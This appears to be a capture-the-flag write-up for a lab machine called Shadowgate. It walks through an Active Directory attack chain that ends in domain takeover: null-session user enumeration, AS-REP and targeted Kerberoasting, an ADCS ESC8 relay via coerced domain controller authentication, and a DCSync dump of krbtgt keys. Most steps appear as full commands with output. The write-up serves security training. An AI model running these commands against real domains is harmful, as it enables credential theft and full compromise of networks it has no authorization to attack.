Overview

The machine starts by abusing smb null authentication to enumerate users and as-rep roasting that yields credentials for jtrueblood, using bloodhound to find a generic write over bbrown and leveraging targeted kerberoasting to obtain his credentials. With access as bbrown, enumerating adcs with certipy reveals esc8 and coercing the domain controller to relay to the web enrollment endpoint yields a certificate as dc01$ that enables dcsync to get shell as domain administrator.

Enumeration

We start with nmap scan

The scan shows:

  • Domain name is shadow.gate and the FQDN is DC01.shadow.gate.
  • RDP and WinRM are open.
  • There is no clock-skew.

SMB

We start by looking for low-hanging fruits on SMB, but Guest account is disabled and the null auth doesn't let us access the listing shares pipe

bash 
┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ nxc smb 10.1.218.199 -u Guest -p '' --shares
SMB 10.1.218.199 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:False) (Nu
ll Auth:True) (DC:True)
SMB 10.1.218.199 445 DC01 [-] shadow.gate\Guest: STATUS_ACCOUNT_DISABLED

┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ nxc smb 10.1.218.199 -u '' -p '' --shares
SMB 10.1.218.199 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:False) (Nu
ll Auth:True) (DC:True)
SMB 10.1.218.199 445 DC01 [+] shadow.gate\:
SMB 10.1.218.199 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED

Even though the auth itself is allowed but the Pipe access isn't

bash 
┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ nxc smb 10.1.218.199 -u '' -p ''
SMB 10.1.218.199 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:False) (Nu
ll Auth:True) (DC:True)
SMB 10.1.218.199 445 DC01 [+] shadow.gate\:

So I started looking for other pipes like users listing and we get a list of the users on the system

bash 
┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ nxc smb 10.1.218.199 -u '' -p '' --users-export users.txt
SMB 10.1.218.199 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:False) (Nu
ll Auth:True) (DC:True)
SMB 10.1.218.199 445 DC01 [+] shadow.gate\:
SMB 10.1.218.199 445 DC01 -Username- -Last PW Set- -BadPW- -Description-

SMB 10.1.218.199 445 DC01 Administrator 2026-01-11 11:33:05 0 Built-in account for administering the computer/
domain
SMB 10.1.218.199 445 DC01 Guest < never> 0 Built-in account for guest access to the compute
r/domain
SMB 10.1.218.199 445 DC01 krbtgt 2026-01-12 02:45:27 0 Key Distribution Center Service Account
SMB 10.1.218.199 445 DC01 ATHENA 2026-03-04 15:23:19 0
SMB 10.1.218.199 445 DC01 mbrownlee 2026-03-04 15:24:05 0
SMB 10.1.218.199 445 DC01 bbrown 2026-01-15 14:24:07 0
SMB 10.1.218.199 445 DC01 jtrueblood 2026-04-28 18:14:47 0
SMB 10.1.218.199 445 DC01 jsmith 2026-03-04 15:26:29 0
SMB 10.1.218.199 445 DC01 clocke 2026-03-04 15:24:32 0
SMB 10.1.218.199 445 DC01 tclarke 2026-03-04 15:25:33 0
SMB 10.1.218.199 445 DC01 jbradford 2026-03-04 15:24:59 0
SMB 10.1.218.199 445 DC01 amoss 2026-03-04 15:25:52 0
SMB 10.1.218.199 445 DC01 [*] Enumerated 12 local users: SHADOW
SMB 10.1.218.199 445 DC01 [*] Writing 12 local users to users.txt

Access as JTrueblood

First thing to do when you don't have credentials but you have a list of users is to enumerate which of these users has the pre-auth disabled for them which means we get a crackable hash leading to the user's password if it was simple. kerbrute generates the hash if the user is vulnerable and use --downgrade to make sure the hash is $23 which is easier and faster to crack. As you can see the user jtrueblood is vulnerable

So we start cracking the hash above and we get the password is blood_brothers

So we revisit the shares again now as we have valid creds, but nothing interesting about it

bash 
┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ nxc smb 10.1.218.199 -u 'jtrueblood' -p 'blood_brothers' --shares
SMB 10.1.218.199 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:False) (Nu
ll Auth:True) (DC:True)
SMB 10.1.218.199 445 DC01 [+] shadow.gate\jtrueblood:blood_brothers
SMB 10.1.218.199 445 DC01 [*] Enumerated shares
SMB 10.1.218.199 445 DC01 Share Permissions Remark
SMB 10.1.218.199 445 DC01 ----- ----------- ------
SMB 10.1.218.199 445 DC01 ADMIN$ Remote Admin
SMB 10.1.218.199 445 DC01 C$ Default share
SMB 10.1.218.199 445 DC01 CertEnroll READ Active Directory Certificate Services share
SMB 10.1.218.199 445 DC01 IPC$ READ Remote IPC
SMB 10.1.218.199 445 DC01 NETLOGON READ Logon server share
SMB 10.1.218.199 445 DC01 SYSVOL READ Logon server share

Access as BBrown

BloodHound Data

So we start collecting BloodHound data using rusthound

As you can see the user JTrueblood has GenericWrite over the user BBrown which is a member of the group ADCS-READER means he probably can read the ADCS configuration and will be useful for us, so let's abuse that

The target has ADCS meaning we can try ShadowCredentials but I've done that a lot lately so I will go with the targeted Kerberoasting path. Both are non-destructive actions so it doesn't matter which one we'll go

Targeted Kerberoasting where we have GenericWrite over the user or write over his SPN attribute so we write a fake SPN to the user and make it vulnerable to the Kerberoasting to get the hash for that user.

targetedKerberoast.py script does all that automatically from the auth to the cleanup so we'll use it

bash 
┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ targetedKerberoast.py -v -d 'shadow.gate' -u 'jtrueblood' -p 'blood_brothers' --request-user bbrown
[*] Starting kerberoast attacks
[*] Attacking user (bbrown)
[VERBOSE] SPN added successfully for (bbrown)
[+] Printing hash for (bbrown)
$krb5tgs$23$*bbrown$SHADOW.GATE$shadow.gate/bbrown*$f3334d56fb2591c8131afe87242a3c74$24c2f776b7d97584a701e1f7eab2e6fb83f977a62b881fd9a3f6efa18ca62d8eed5516a44
616e21ba5ec9760b25648678ba65bf78af9193389d9c3a27611907382a4a1489332639f77bedbfb22f9afcce0afc8a64a3a1126a367faf0f646275072<SNIP>
[VERBOSE] SPN removed successfully for (bbrown)

Then we'll try to crack the user's hash which gives us the password 12345678

As you can see the credentials are valid

bash 
┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ nxc ldap 10.1.218.199 -u 'bbrown' -p '12345678'
LDAP 10.1.218.199 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:shadow.gate) (signing:None) (channel binding:Never
)
LDAP 10.1.218.199 389 DC01 [+] shadow.gate\bbrown:12345678

ADCS Enumeration

And because we are part of the ADCS Readers group we start enumerating the ADCS using Certipy looking for vulnerable templates or CA misconfiguration

ESC8 to DC01$ Account

As you can see the CA is vulnerable to ESC8 where we can enroll certificates over HTTP and they get approved automatically, so if we can coerce anyone on the domain to connect to us we can relay his authentication and get the certificate instead of him

As you can see we start our relay server and coerce the target to connect to us relaying the connection back to the enrollment endpoint. We coerce the DC so we get a ticket as the DC01$ machine account

bash 
(.venv) ┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ ntlmrelayx.py -smb2support -t http://DC01.shadow.gate/certsrv/certfnsh.asp --template DomainController --adcs
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

< SNIP>
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
< SNIP>

[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.1.218.199, attacking target http://DC01.shadow.gate
[*] HTTP server returned error code 200, treating as a successful login
[*] (SMB): Authenticating connection from /@10.1.218.199 against http://DC01.shadow.gate SUCCEED [1]
[*] (SMB): Received connection from 10.1.218.199, attacking target http://DC01.shadow.gate
[*] http:///@dc01.shadow.gate [1] -> Using template name: DomainController
[*] http:///@dc01.shadow.gate [1] -> Generating CSR...
[*] http:///@dc01.shadow.gate [1] -> CSR generated!
[*] http:///@dc01.shadow.gate [1] -> Getting certificate...
[*] HTTP server returned error code 200, treating as a successful login
[*] (SMB): Authenticating connection from /@10.1.218.199 against http://DC01.shadow.gate SUCCEED [2]
[*] http:///@dc01.shadow.gate [1] -> GOT CERTIFICATE! ID 3
[*] http:///@dc01.shadow.gate [1] -> Writing PKCS#12 certificate to ./DC01.shadow.gate.pfx
[*] http:///@dc01.shadow.gate [1] -> Certificate successfully written to file
[*] http:///@dc01.shadow.gate [2] -> Skipping user since attack was already performed

Then we use that certificate to authenticate using Certipy to get the hash of the account

bash 
┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ certipy auth -pfx DC01.shadow.gate.pfx -dc-ip 10.1.218.199
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC01.shadow.gate'
[*]     Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Using principal: 'dc01$@shadow.gate'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:6c3b6f35b6e314bfdf249b2d4358bd4a

Having the DC machine account hash means we can do DCSync

bash 
┌─[]─[10.200.55.236]─[jimmex@attacker]─[~/HSM/Shadowgate]
└──╼ [★]$ secretsdump.py 'shadow.gate/dc01$' @shadow.gate -hashes :6c3b6f35b6e314bfdf249b2d4358bd4a -just-dc-user krbtgt
Impacket v0.14.0.dev0+20260814.164800.c23b3d55 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<NO NOT ON MY WATCH>0ec99b21e09802:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:9d2c8f2fecd0d6813cde513680b594210cf9c91bc2d4f6715ce25972b6a7c7c5
krbtgt:aes128-cts-hmac-sha1-96:03ed2c0be5231fb6bd698d2bc18b9e39
krbtgt:des-cbc-md5:4a5286207f83ae7c
[*] Cleaning up...

Path

here is what we did for this box Pasted image 20260823153131.png

Resources